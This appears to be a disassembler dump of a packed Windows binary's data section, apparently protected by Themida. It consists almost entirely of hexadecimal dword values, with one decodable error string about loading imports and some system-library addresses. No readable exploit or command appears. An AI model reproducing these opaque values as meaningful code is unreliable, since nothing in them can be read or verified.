dd 0CE2559D7h, 43AFD8A5h, 3232DCF1h, 0BA8C30E4h, 0A8EDD871h
dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 7165CE38h, 0DF07462Ch
dd 528D9FC4h, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
dd 88218FA7h, 0D9FB5787h, 604473B0h, 0DD7BAEA4h, 5863E96Fh
dd 0ABA851A2h, 3075195Fh, 0E332DCAAh, 168C30E7h, 9ACECB2Fh
dd 9675130Fh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
dd 3044BAh, 978D8D00h, 8B0625D3h, 1F11AD9Dh, 5D8D8906h
dd 8B061F0Bh, 1F0DB5B5h, 0C585C706h, 70061F20h, 66000065h
dd 85C7D38Bh, 61F137Dh, 0
dd 19CCB866h, 3291B5FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0FDCEFAC3h, 85893E52h
dd 61F2005h, 8018589h, 95FF061Fh, 61F2D59h, 95FF006Ah
dd 61F1D45h, 4CEBC08Bh, 8B1D5EB1h, 47F80B2Ah, 1877D4F1h
dd 9C53D2BAh, 73A08913h, 0D68B99D6h, 82FB5941h, 96BA1429h
dd 0C98CA7AAh, 5048C203h, 71CB0BFBh, 8A95C9A6h, 1A2960B0h
dd 2B3EEBD7h, 421E3578h, 49B0A9C7h, 50D327FEh, 0D97E01DCh
dd 8C27D1C4h, 3BE9h, 0BD8B6000h, 61F24A5h, 3304EF83h, 0BBC18BC9h
dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
dd 41FFFFFFh, 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh
dd 7E8C88Bh, 0DD000000h, 0C0A36D01h, 0C38B2039h, 0B70F535Ah
dd 0C2815EC6h, 6764h, 33F78B66h, 45858BFFh, 0FF061F31h
dd 852B1734h, 61F09A9h, 0C5B58959h, 81061F05h, 0A512DEE9h
dd 6870F3Ah, 8B000000h, 1F0FD5B5h, 33F18106h, 0E86F4A20h
dd 0Eh, 0D3CE78BEh, 0DE486089h, 661A5E24h, 95891B85h, 61F10E1h
dd 0DFF1815Eh, 3379EC2Dh, 1F273D9Dh, 3A0C8906h, 11FDB58Bh
dd 858B061Fh, 61F1899h, 475AEF81h, 0C7811571h, 15714756h
dd 7ECE8166h, 34FF81D1h, 0FFFFF99h, 0FFFF8685h, 0E901B7FFh
dd 89h, 53CA3775h, 72E9168Fh, 8E05FCAEh, 0A920DFCAh, 0C940C1E5h
dd 0ECBAC37Dh, 0D9DA9E15h, 0ADFBBF36h, 8E19DD54h, 0B831FA71h
dd 0ADCD340Ch, 1C8FC719h, 99B6445h, 758A1FD3h, 0A17F4EFEh
dd 5DA11FD3h, 0A51F95E9h, 1FD7A15Dh, 197C6A6Dh, 33520h
dd 0A7BE0000h, 9A674540h, 0AC535408h, 0BF42661Ah, 0D53A792Dh
dd 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh
dd 0D06886A2h, 0E90625D4h, 0FFF9A82Eh, 0D962774Eh, 0D54AB810h
dd 0C5030625h, 10E8h, 0AF8D800h, 881DDDF6h, 56A7246Dh
dd 530C9B36h, 0CE9D6h, 0C0CC0000h, 51780708h, 70D90241h
dd 0B95ABA7Eh, 352E59D2h, 6BEFC281h, 880F0000h, 6, 2FB19589h
dd 0FF33061Fh, 0FF66C480h, 0BD011734h, 61F1A5Dh, 6BF3815Bh
dd 8140F4C7h, 8C01E3D6h, 72F38172h, 11B2DE8h, 1F24C585h
dd 9FC38106h, 0F39BFD0h, 8B53C1BFh, 3A048FC6h, 2E018D09h
dd 83F8061Fh, 8D8B04EFh, 61F0D2Dh, 94C0FF81h, 850FFFFFh
dd 14h, 1331B58Bh, 1DE9061Fh, 0F3000000h, 11758AC8h, 73B89833h
dd 98E9C18Bh, 4AFFFFFFh, 7E5C70Eh, 3D57FA8Fh, 658A5876h
dd 578704EBh, 0DCE92D87h, 6800000Dh, 625D844h, 0F9A755E9h
dd 0D91868FFh, 4BE90625h, 68FFF9A7h, 625D9FBh, 0F9A741E9h
dd 0DA7F68FFh, 37E90625h, 68FFF9A7h, 625DDD4h, 0F9A72DE9h
dd 0E16E68FFh, 23E90625h, 68FFF9A7h, 625E283h, 0F9A719E9h
dd 31D0DCFFh, 50AFF6BAh, 6C9515D9h, 877831F5h, 0A75A4C10h
dd 232AE430h, 43077E83h, 64289F70h, 8246BD44h, 9A63DA25h
dd 0CB9D7521h, 0F83019ADh, 0F7BC7C85h, 6244F418h, 4166269Fh
dd 60842CBEh, 678E1ACEh, 842CBE43h, 350269E0h, 4A3BE760h
dd 8F15F0B2h, 2C1AD006h, 0D96DD31Eh, 0F354653Dh, 0DC258125h
dd 92CBEFA3h, 0D8AC4CDEh, 3E25F354h, 59A601C1h, 80FB1FC7h
dd 0F59CDD5Eh, 91510974h, 2FC8EC15h, 3Eh, 0F495A2BCh, 2DA64AB5h
dd 34C63B6Dh, 38DC3380h, 0EAEF9B14h, 5715F082h, 0C9ED1297h
dd 0AA4ADC90h, 25F2C2D6h, 0B446C9EAh, 0C557AA00h, 46E7F786h
dd 0C67569E8h, 97463F3h, 161Ah, 1CDAA700h, 4D000009h, 65111B8Dh
dd 1FD3A18Dh, 36C86C20h, 45076A8Eh, 570B9D62h, 110A2D50h
dd 1F1ADDC8h, 0CD79027Bh, 1FD347F5h, 39B0D488h, 0B73065D2h
dd 0F04EF60Bh, 24834315h, 0CA7EB7DBh, 4DC49838h, 0AB2A25F2h
dd 0ECB10833h, 515C0975h, 0D3000000h, 0DA6C9513h, 0AF3E2BB0h
dd 54F880F0h, 0DC000FA4h, 0EEBC7C79h, 0BD619E07h, 9CF14699h
dd 0D9DA9A23h, 0D1761236h, 3E15F080h, 0C03109B5h, 10C425F2h
dd 6DFFB3ECh, 0F2C0F9CDh, 0FEE05F25h, 73BF245Ah, 2BF1CD3Bh
dd 9287107h, 0B8C50974h, 52000000h, 17916245h, 0DCD46EAh
dd 0B9565DA6h, 0B7DB7F27h, 0CC357125h, 0DE21863Ah, 0E40F984Ch
dd 6AE40CFh, 473BEB62h, 5B1FD3A6h, 7A3AB34Ch, 973FD130h
dd 6F38FC73h, 90A7FE90h, 9D7CC17Bh, 7519F51Bh, 0F8D750FCh
dd 0AC6C15F0h, 0EA6105FCh, 68E1B483h, 70E5E432h, 0A5C90503h
dd 0DD48802Ch, 27DB1C14h, 49B8EEAEh, 69980ED2h, 66C30602h
dd 0C8E77DFAh, 0B19h, 0DF56AB01h, 0FE758A1Bh, 1A91703Ah
dd 35AC5356h, 55CC3571h, 60464F09h, 4D662AA1h, 21874BC2h
dd 2A569E0h, 44BD86FDh, 0ADC9C098h, 0A81B5319h, 6F47F37Ch
dd 21FD3A1h, 2C7A2A4Eh, 0D9A5ED5h, 0A2047BF2h, 0FE870095h
dd 0D3A17A52h, 33590D1Fh, 0E3599F9Dh, 5CD5F921h, 0EFE40BB0h
dd 7204B815h, 0F223FED2h, 0F9E56425h, 75C27742h, 9B9609h
dd 45230000h, 570B9D62h, 8020B24Fh, 1FD3A68Ch, 0C7EC07A0h
dd 2F8CB648h, 7473AB9Dh, 8C1DCD71h, 9458CF73h, 0DD5AEC13h
dd 6CD0A854h, 77231FD4h, 1FD46C9Fh, 91457E32h, 781D1A6Dh
dd 7CDA53FFh, 0BB6F15F1h, 375ADD44h, 0E8AF12BEh, 0A85C1C14h
dd 0CA376F2Fh, 0EA178F53h, 663F7983h, 3F5EF4FAh, 0A45h
dd 0B827F2Dh, 2AA15E47h, 46BD4466h, 61D82782h, 81F8099Dh
dd 34727B35h, 219256CDh, 0F5B377EEh, 0D6D1950Ch, 70E9B229h
dd 0ADC8ECC4h, 0D4477F19h, 29A06145h, 46BD4265h, 47F37CCFh
dd 1FD3A16Fh, 7A2A4E02h, 0C340D22Dh, 0C8024A8Dh, 2DDEBD1Ah
dd 1A5CB78h, 5F0F3318h, 7E3EB748h, 3EB5D928h, 0FDBD6520h
dd 1BC355AAh, 0FE93A4F7h, 5C20D985h, 0F5B515F0h, 94BE50B1h
dd 0FC3363A7h, 0B458FC12h, 0D62B7B3Bh, 0E5789C44h, 356E5645h
dd 1376C1B7h, 34CBDA9Ah, 48DA2584h, 7A037CA0h, 6515ECBAh
dd 0FB97BB44h, 0C5D4A276h, 0BF506323h, 0D1E2A21Bh, 0E004AC3Eh
dd 4D40F74Eh, 1BC528D4h, 0BE72CBF9h, 0AAFCBC45h, 2A65B4Bh
dd 86792EDEh, 0A55A4D0Dh, 0D0476B13h, 0FD649B0Ch, 4A0202F9h
dd 62AFCE64h, 4A000009h, 64289F62h, 8347BE41h, 9F63DA27h
dd 0BA7EF50Ah, 529E15ECh, 0F0119598h, 11FEB579h, 2FD2D69Ah
dd 4CB3F4B8h, 0E7930CD5h, 19ADC90Fh, 45F76AA2h, 0EC159162h
dd 0D85FB648h, 0BF903CB5h, 4415F0A7h, 51571790h, 0ECAC39B0h
dd 6E1E42BDh, 9535C73Ah, 25F2A7BDh, 0F2B819EDh, 13AD8A25h
dd 348C36DDh, 4A06E52h, 25F3722Ch, 0EE670BBFh, 10792142h
dd 8012C61Ch, 0BD24DBCCh, 0FA196F6Fh, 0DE65841Ah, 0C6000008h
dd 0E0A41BE6h, 0FFC33AC5h, 1BDF56ABh, 36FA718Eh, 0CE1A9170h
dd 6C951114h, 8D8231F5h, 0AB565216h, 0C8377034h, 630F8851h
dd 19ADC78Bh, 0A273E61Eh, 0FE870095h, 0D3A17A52h, 0ED14961Fh
dd 0BA7AB35Bh, 0DB8315ECh, 0EE9A1337h, 15F0A8CDh, 0BC45BE72h
dd 0C153AEFCh, 0A7A57D19h, 843825F2h, 8B1ACE60h, 0B070FD74h
dd 38E80C03h, 8300926Dh, 891BE4C3h, 0C96ABDE1h, 8D39F1B8h
dd 25F2A7B5h, 5EF09448h, 0A75D35E1h, 3CF025F2h, 0CF7BF498h
dd 25F2A83Fh, 19E8C282h, 82BBDF87h, 2DAA3CCEh, 9F71DBF7h
dd 84A89480h, 0C383D509h, 4BFB1FF0h, 7E2EA55Ah, 25F2CBAAh
dd 37E36CF5h, 25F2CB5Fh, 0CAA23EF2h, 5D25F2CBh, 0AC8430A9h
dd 3F25F2CBh, 1F14678Bh, 8945F16Ah
dd 2425F2CBh, 7035F970h, 915DFD8Fh, 0B725F2CCh, 2A7BA638h
dd 0B9A5ED5h, 46F27BF4h, 25F2CC6Eh, 0A7E01F8Ah, 9D3DCFF3h
dd 25F2CCF9h, 2F7A7B2Dh, 0F2963ED0h, 2FDAC60h, 7F5FDE70h
dd 3DA120AEh, 0C73EC1E4h, 0D32E7A3Ah, 0B2D75CAFh, 0D42D7939h
dd 0FD769A42h, 0F2CC7C51h, 0DC550925h, 0E0728D1Ch, 0E2821438h
dd 91D1F265h, 0D8805EDDh, 31CBA34Fh, 0AA5E9A54h, 0C8A9F086h
dd 9B4475EBh, 0D1000001h, 870095A2h, 8B6A3EFEh, 0AD55E728h
dd 0A849E509h, 0D15F0AEh, 0AF00D884h, 0A75325F2h, 25F2AECFh
dd 0C175AE62h, 37B0649Dh, 58CF3077h, 5AEC1394h, 0B71B48BAh
dd 6777069Ch, 9B12EDBAh, 9D2FD0D7h, 29A0ED46h, 29BB4465h
dd 54CD3275h, 0C7EB1694h, 0F1B8C50h, 395A8B63h, 0C66A1EADh
dd 0D1729434h, 3A617C1h, 0F1B66AFCh, 486DC88Ch, 8C301BCAh
dd 0E3FB76FAh, 29B5444Ah, 0D950AFF8h, 0F46D9215h, 678B7634h
dd 0CCB57ED5h, 3B7828E7h, 2EB730D4h, 0C43EAA82h, 65893D1Fh
dd 3E6840ECh, 32BB1FC4h, 0C43EAE86h, 698D411Fh, 43037C30h
dd 0EC139263h, 0EA0EB25Ah, 35F7AF73h, 0C43EB189h, 0EC90441Fh
dd 0AF7B373h, 1EE1C478h, 1C40E48Ch, 8D00338Ah, 3E8C6814h
dd 73271FC4h, 0E6F38FCh, 6A822306h, 6BE4885Eh, 788722E2h
dd 0CAA23EE6h, 5D1FC443h, 3FF385A9h, 98219A67h, 0C44414ECh
dd 0CFF3A71Fh, 0B22CAB3Dh, 50C7386Fh, 6BE41B8Ch, 0DD01FEABh
dd 4A3FF44Bh, 434525D1h, 34E81FC4h, 51AEF9BDh, 749B18D8h
dd 1B8A3AE2h, 7A2EC0E4h, 9A5AD32Eh, 3CCEF20Dh, 0B36E70FBh
dd 56ABFFF4h, 1781CC4h, 3956A3Dh, 890287ACh, 9A654000h
dd 43F6DA76h, 0E1A11FC4h, 0A83AC7h, 2258E55Ch, 8DD8D45Ch
dd 3BEB0F33h, 0AB02946Dh, 38C0588h, 0C49E7F57h, 3A5E121Fh
dd 9E6D15C1h, 0AAE01FC4h, 0F0E8EC6Ch, 1AE40AC6h, 5F0E164Bh
dd 2FEF680Ch, 64F7037Ah, 72BB8283h, 70943CCEh, 624582F9h
dd 94A7161Bh, 0C2661054h, 3E53E44Bh, 0F00819C5h, 0D98D15EFh
dd 0F908A060h, 734BF780h, 625F22Eh, 0F3B72E52h, 63BA4CB5h
dd 1248C1D4h, 0ACFC6870h, 0B12A4E47h, 0F913405h, 7305B91Ch
dd 11A0FFD3h, 0C2C7702Ch, 0A77C9D49h, 6D21222Eh, 0AA8027DBh
dd 30A726FEh, 6105B932h, 7ABD16FAh, 98B74DE4h, 589h, 4FC63B71h
dd 6EE51A8Bh, 8A0100AAh, 0A51CE3C6h, 0C53CC5E1h, 0F0B6BF79h
dd 0DDD69A11h, 0B1F7BB32h, 9215D950h, 0B42DF66Dh, 0ADC43008h
dd 188BC319h, 627E95A2h, 60E10668h, 0D1639C0Bh, 68E18529h
dd 0D2AA56DFh, 651FD371h, 0EB458BB1h, 0D20CAAC1h, 5E4912AEh
dd 0ABE15F0h, 845C0891h, 1725F25Eh, 0DAD3F63h, 25F25E38h
dd 7EBD21A0h, 975FB3Bh, 112D2h, 95595F00h, 1FD3A1h, 4966940h
dd 0A1E8C05Ch, 0C77B1FD3h, 0B575EE23h, 3CEC10F1h, 901D946Bh
dd 0D1C4DF5Ah, 0EF9729D6h, 0D73DA5C9h, 0EE808127h, 66CF2246h
dd 0C0EAAA23h, 0F8A41D41h, 1FD2A518h, 0C17507BBh, 0C09844E6h
dd 531FD2A4h, 58EA1793h, 575C0CB0h, 659B14B8h, 0DA103C62h
dd 45BCE014h, 802657DEh, 0A347EF81h, 0C5E1A12Ah, 8902AA3Ch
dd 0D2FA05DDh, 0C0E4981Fh, 0D2F94424h, 0A133E71Fh, 17EF9B24h
dd 0AA1FD2FAh, 8522D2F6h, 999C037Ah, 0F99F7723h, 7E321FD2h
dd 0D52B61DAh, 0F7A59107h, 0F503C725h, 0D0B2C8CFh, 1DD3AB57h
dd 0B2661FD3h, 0B569158Eh, 401FD31Dh, 865AFA8Ch, 0BC1FD35Dh
dd 58DDA13Dh, 7737C039h, 1EE3C330h, 0C740E48Ch, 0D35D431Bh
dd 0FE22D61Fh, 0D35DAE62h, 0C85391Fh, 764EFA83h, 91FD35Dh
dd 5DE1B955h, 0ACFD1FD3h, 0E019C153h, 6291082Ch, 10Bh
dd 1A8C4CD5h, 11AD55E7h, 1FD35D39h, 0E11745DFh, 2760F45Ch
dd 0A2EC4F73h, 0FE870095h, 0A28BD6C8h, 10344006h, 0F0925374h
dd 0B244F815h, 654EB5FEh, 4FE284AAh, 12F9148Eh, 0A190F76Eh
dd 0E7C36FE8h, 4225F1DCh, 0B4D82782h, 9535C77Bh, 25F1DCC6h
dd 437A726h, 9757DB5h, 6B43EF78h, 0FE25F1E4h, 0F40B9A4Ah
dd 0A137D0h, 0A2C40000h, 0D581FA8Fh, 1FD3A1FDh, 0CD4ADC90h
dd 0A1C09844h, 9F531FD3h, 1BE8CB7Bh, 30E4768Bh, 3EE28679h
dd 9063CC5h, 0E1F46DB2h, 0E0845CF8h, 2BD71FD2h, 1FD2E053h
dd 45F932E6h, 0EE43AA21h, 0D276229Bh, 7D1FD2E0h, 4A3FAC47h
dd 0FFA35D25h, 1DE4C686h, 2DBFE38Bh, 0D380B98Dh, 6E70EF1Fh
dd 0EF682110h, 0FF02A666h, 5129C56Dh, 0F71FD380h, 36D19285h
dd 0C97DB654h, 6DA32CA5h, 1BED716Dh, 19B5D9E8h, 1FD2F875h
dd 33F36C20h, 0F1688C75h, 572FDB64h, 0EA1FD2F8h, 3911BD36h
dd 0CC1FD2F8h, 7C91F418h, 0A16F47F3h, 4E021FD3h, 0D22D7A2Ah
dd 0A603C340h, 0FB1FC759h, 2CA35C4Bh, 0A61F72C5h, 0A199711Dh
dd 782C1FD3h, 8D1FE2C8h, 9C48C1E5h, 15F0A987h, 5EE76014h
dd 0A85129D5h, 30E425F2h, 0F2A8BC94h, 779B4F25h, 0A87145E5h
dd 58D725F2h, 41E4B586h, 38090974h, 80000000h, 0BADEC84Ah
dd 92EC12EDh, 0C92C50CDh, 0EB7E95A2h, 0A2578F98h, 8C38B155h
dd 15F06FE7h, 30DFD494h, 0C052F69Eh, 0F2AF4C20h, 0AB33B225h
dd 744EC990h, 0D6E409h, 7C710000h, 0C09A3446h, 6B1B3ED1h
dd 0F2A2C63Bh, 976A3EB5h, 40447AF3h, 32523015h, 9B731F98h
dd 2E1FD325h, 10C4567Ah, 32F26B96h, 54FC8E81h, 61219E30h
dd 0E696BA47h, 0F8AC3EC1h, 29D950AFh, 1FD32A35h, 28A15E49h
dd 9EC23D68h, 0BB446327h, 3065D229h, 3EE20BB7h, 0A35715F0h
dd 0C33E6A2Ah, 0EE658931h, 64DDB087h, 13ADDDB8h, 4DC67A1Ch
dd 63A78EC4h, 0C3E8B523h, 4B6FA013h, 7FF60B9Bh, 0A90AEBBBh
dd 0B95BC266h, 0A4FA67E8h, 1EFEF0Eh, 0D5D70000h, 0B4F1B52Ch
dd 9A10D44Bh, 7D2CF067h, 5F470B82h, 25DF2BA2h, 47B8620h
dd 259C7340h, 43BA4761h, 60D7287Fh, 9A721E97h, 2D19ADC0h
dd 614582F5h, 426529A0h, 30B946BDh, 0D3A1AC84h, 0DB8B3F1Fh
dd 0AF1236CBh, 870095A2h, 0F08136DBh, 8423E315h, 7E35E97Bh
dd 0D049ED91h, 0D96B9610h, 0AD0329AFh, 963A103Ah, 6C40E072h
dd 8025F2CBh, 9549DB26h, 0B55DEF10h, 584FA405h, 0C96D15A7h
dd 736BF637h, 1DD5CBAh, 746A7F3Ah, 0CA8E09h, 451B0000h
dd 570B9D62h, 5931DD4Fh, 0EC1FD3A1h, 0DF228838h, 6F01A54Dh
dd 0D3A6DBCFh, 4166261Fh, 0B842CBEh, 0D3A6875Fh, 42661A1Fh
dd 73EA1592h, 7507F8AFh, 0FB74191Eh, 0F0BB264Fh, 6EE79B15h
dd 0E105FCAEh, 961DDD6Ah, 0C63FE779h, 0F2B9421Ah, 0FD21D525h
dd 0ABFC8DAAh, 761AC254h, 271151FDh, 0B41C14h, 22DFC787h
dd 38BDE9A9h, 5901936Eh, 5CA505B5h, 87FE22CAh, 0B71EE3C3h
dd 0FA677A5Fh, 0DA4160F6h, 0C2000000h, 0DCA017EAh, 0FBBF36C9h
dd 17DB52AFh, 32F66D92h, 0CA168D74h, 68990D10h, 89862DF1h
dd 0A75A4E12h, 0C43B6C30h, 5F0B844Dh, 19ADBF87h, 456FE21Ah
dd 0BCD71E61h, 1A3B9A53h, 6C3BFF76h, 4FE11E87h, 158C03A7h
dd 0BEABC7Ch, 9DC1659Ah, 0B345BAEDh, 5B4BA8FFh, 0C86C14A6h
dd 0B23BC451h, 0D3A12E06h, 710DC11Fh, 1FD3A199h, 154782Ch
dd 0FAD27E36h, 8D1FD3A1h, 6C9BB3D9h, 0B7F52157h, 44EE9A13h
dd 0BF15F8B3h, 0E2C5790Bh, 0C5E2A61Dh, 3D08A83Ah, 0ED399927h
dd 0FC13A060h, 0A0815DD8h, 0BD81F807h, 0CF8315EAh, 23AC25DAh
dd 9B669F77h, 5A7E3251h, 27B736C8h, 10D0ADFAh, 0C0981862h
dd 0C387FEA2h, 6A891BE4h, 11h, 6A2AA7F3h, 862EC03Fh
dd 9F629B60h, 7CA09F98h, 9A674519h, 0AC535408h, 0BF42661Ah
dd 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh
dd 34CBDA8Eh, 895286A2h, 4C281E2h, 83000000h, 148704EAh
dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
dd 0BA682404h, 89000056h, 0BB53241Ch, 41AE0C00h, 3597EB81h
dd 58533B88h, 7D05685Bh, 24890000h, 24048124h, 4, 481505Bh
dd 0D7386E24h, 8438F3Bh, 386EBD55h, 6B293BD7h, 34FF5D08h
dd 0C4835B24h, 2434FF04h, 4C48358h, 0F99989E9h, 449EC1FFh
dd 0B8F19862h, 625E382h, 0E0FFC503h, 3B34CF46h, 12B7ACE7h
dd 15606FE1h, 4F68023Eh, 5FDBF2C1h, 584BDE02h, 7A87A659h
dd 78FAA206h, 7CEEAC27h, 15EAA5EBh, 770DF4EEh, 291A6C2Fh
dd 0D88583Eh, 44913407h, 466B709Eh, 3010E1B2h, 7CF7B4BBh
dd 107E0E84h, 7440540h, 5867B74Eh, 5E49D7B4h, 7F7F72A7h
dd 376268A6h, 7D553C57h, 32A307D9h, 6C465773h, 23CB0BB9h
dd 3F2E16D2h, 7232FF90h, 0E54E8D8Dh, 6A0625h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3227E7C3h
dd 0DF1F7FFCh, 0B5D8D89h, 0EB4061Fh, 0DB286BB8h, 0C585C76Ch
dd 0C0061F20h, 6A000062h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0F66C351h, 2388h, 10E96000h
dd 25000000h, 0A7078D69h, 0F04C1943h, 60D167DDh, 0E964A200h
dd 7, 5B603283h, 6130AAB9h, 137D85C7h, 61Fh, 0B52B0000h
dd 61F1F35h, 3025B5FFh, 8D89061Fh, 61F1099h, 2D5995FFh
dd 13E8061Fh, 22000000h, 339B9BC3h, 3B9E4E8Ah, 88DD8373h
dd 0F5C43DADh, 0BD8B48FCh, 61F0D99h, 25BD8958h, 6A061F2Fh
dd 4595FF00h, 8B061F1Dh, 0B36DEBC0h, 0E9C9825Bh, 33CE18EBh
dd 5D2E6FCFh, 0BDB0FD34h, 1D76A83Bh, 0DD8906D3h, 0EA838A46h
dd 154BDE59h, 82CBA693h, 90A0F0D9h, 0FF2348ABh, 0A9859C0Dh
dd 1B964DC6h, 9DFF337Eh, 0ABC89AB3h, 8BFEC5A0h, 0F4230F5Dh
dd 0EECA325Dh, 319D85D8h, 0EA613DF8h, 0A636EBAFh, 55296570h
dd 8B9A8C42h, 0EE6F0FD9h, 0ADA3482Bh, 9BDA77B6h, 0F5C8F450h
dd 127E9h, 765B5000h, 4EEFAC73h, 15h, 206E4100h, 6F727245h
dd 61682072h, 636F2073h, 65727275h, 68772064h, 20656C69h
dd 64616F6Ch, 20676E69h, 6F706D69h, 737472h, 77E7AC37h
dd 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h, 77E60000h
dd 7, 5 dup(0)
dd 77E7A5FDh, 2Ch dup(0)
dd 2, 0C706E148h, 63921DF4h, 8F96A6CFh, 340A60E3h, 0B11C1311h
dd 2D0A3735h, 2B616642h, 0F29E3572h, 321177A9h, 5790EF88h
dd 0BF13794Bh, 13BAC2BFh, 69C69917h, 63A8E5D0h, 3213795Bh
dd 61457156h, 321177A9h, 5790EF88h, 0BF13794Bh, 13B9F5BFh
dd 69C69917h, 0B1D5EDD0h, 17F372F9h, 0B61A6624h, 32156601h
dd 8A74E305h, 0E2EA6061h, 8A84E3AFh, 0E2EA6034h, 1230E34Eh
dd 5A43605Bh, 0AEBDDE70h, 64D3EEh, 0B7986097h, 34371FD7h
dd 0B79CB6DDh, 340A48A8h, 0D4F1E305h, 0BF456061h, 17F0A3A7h
dd 0A7EA3617h, 340A79A9h, 28A4E383h, 3215603Dh, 0B7D36611h
dd 340A46ADh, 5B7C0E01h, 87EAE850h, 340A46C8h, 0B58E305h
dd 0E2EA605Bh, 161CE3ABh, 0B7D3600Eh, 340A46ADh, 594B0E07h
dd 87EAFA45h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D7E9E3ABh
dd 0B7D36034h, 340A46ADh, 5A3C0E10h, 87EA8840h, 340A46C8h
dd 0B58E305h, 0E2EA605Bh, 0D415E3ABh, 0B7D36034h, 340A46ADh
dd 0AD70E01h, 87EABC42h, 340A46C8h, 0B58E305h, 0E2EA605Bh
dd 0D411E3ABh, 8F966034h, 340A687Dh, 77906944h, 0F4156622h
dd 2D354394h, 0B47D238Eh, 0CDEF463Ah, 2D35BF97h, 7F90EB17h
dd 0CD1379B1h, 3A90EF94h, 0F41343C4h, 2D354394h, 0F17D2A8Eh
dd 0CDF54094h, 2D35BF97h, 7F90EB17h, 0CD1379B1h, 3E90EF94h
dd 0DB1343C4h, 32156651h, 1230E34Eh, 5A47605Bh, 8E5F822Fh
dd 39A8D3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh, 34308019h
dd 1230E34Eh, 5A47605Bh, 94592C6Ah, 39A8D3EEh, 0B7986097h
dd 340A5F09h, 0B79CB6DDh, 3430801Dh, 1230E34Eh, 5A47605Bh
dd 0CF57D2C8h, 12CCD3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh
dd 340A4CE0h, 1230E34Eh, 5A62605Bh, 0C182CE81h, 1E44D3EEh
dd 0B7986097h, 340A5F09h, 0B79CB6DDh, 340A4B8Ch, 1230E34Eh
dd 5A47605Bh, 0B8C85735h, 12CCD3EEh, 0B7986097h, 340A5F09h
dd 0B79CB6DDh, 340A7064h, 1230E34Eh, 5A43605Bh, 0E60A0B1Bh
dd 64D3EEh, 0B7986097h, 34371FD7h, 0B79CB6DDh, 340A60E8h
dd 1230E34Eh, 5A52605Bh, 0B3C97658h, 12CCD3EEh, 0B7986097h
dd 340A5F09h, 0B79CB6DDh, 340A76A4h, 1230E34Eh, 5A52605Bh
dd 0B81AD3C0h, 12CCD3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh
dd 3430803Dh, 2ACCDB0Bh, 3D15605Bh, 321337A6h, 1790A011h
dd 7E1379A8h, 0E8098F2Ch, 0EBA099FBh, 0BF137931h, 2D2C2B0Dh
dd 0BBC59942h, 17F37EA7h, 1790A017h, 7E1379A8h, 46CBA82Ch
dd 0EBA099FFh, 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F37AA7h
dd 1790A017h, 7E1379A8h, 0B397592Ch, 0EBA09995h, 0BF137931h
dd 2D2C2B0Dh, 0BBC59942h, 17F346A7h, 1790A017h, 7E1379A8h
dd 1D557E2Ch, 0EBA09991h, 0BF137931h, 2D2C2B0Dh, 0BBC59942h
dd 17F346A7h, 1790A017h, 741379A8h, 0EC13722Ch, 0EBA09998h
dd 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F34EA7h, 1790A017h
dd 751379A8h, 0EE051C2Ch, 0EBA099A3h, 0BF137931h, 2D2C2B0Dh
dd 0BBC59942h, 17F356A7h, 1790A017h, 751379A8h, 0B59BCA2Ch
dd 0EBA099CDh, 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F352A7h
dd 1790A017h, 751379A8h, 0A8B2B42Ch, 0EBA099F6h, 0BF137931h
dd 2D2C2B0Dh, 0BBC59942h, 17F35EA7h, 1790A017h, 751379A8h
dd 0F32C622Ch, 0EBA09998h, 0BF137931h, 2D2C2B0Dh, 0BBC59942h
dd 17F35AA7h, 77A8E517h, 3213798Bh, 0B7D34631h, 340A4607h
dd 1F720E56h, 87EA86FAh, 340A469Dh, 0B58E3AFh, 0E2EA600Eh
dd 0D455E301h, 0B7D36061h, 340A4607h, 81A40E56h, 87EAE8A1h
dd 340A469Dh, 0B58E3AFh, 0E2EA600Eh, 0D451E301h, 0B7D36061h
dd 340A4607h, 78B20E52h, 87EAA6FEh, 340A469Dh, 0B58E3AFh
dd 0E2EA600Eh, 0D45DE301h, 0B7D36061h, 340A4607h, 5EFE0E5Dh
dword_59C800 dd 87EA9DEEh, 340A4A15h, 0B58E3AFh, 0E2EA600Eh, 0D4C9E301h
; DATA XREF: Themida_:00536D5Eo
dd 0B7D36061h, 340A4607h, 0BC400E55h, 87EADDFBh, 340A469Dh
dd 0B58E3AFh, 0E2EA600Eh, 0D459E301h, 0B7D36061h, 340A4607h
dd 5CE90E52h, 87EADA06h, 340A469Dh, 0B58E3AFh, 0E2EA600Eh
dd 0D445E301h, 0B7D36061h, 340A4607h, 0CBF0E42h, 87EAA098h
dd 340A469Dh, 0B58E3AFh, 0E2EA600Eh, 0D441E301h, 8F966061h
dd 340A6ACFh, 0D2916911h, 0F4156688h, 2D3543C1h, 37D2024h
dd 0CDEFF0DFh, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 8290EFC1h
dd 0F413436Eh, 2D3543C1h, 0E47D2024h, 0CDE9C12Bh, 2D35BF3Dh
dd 7F90EB42h, 0CD13791Bh, 0F290EFC1h, 0F413436Eh, 2D3543C1h
dd 327D2024h, 0CD879AB5h, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh
dd 0F690EFC1h, 0F413436Eh, 2D3543C1h, 587D2024h, 0CDE3B25Eh
dd 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 0FA90EFC1h, 0F413436Eh
dd 2D3543C1h, 0D57D2024h, 0CD81AB41h, 2D35BF3Dh, 7F90EB42h
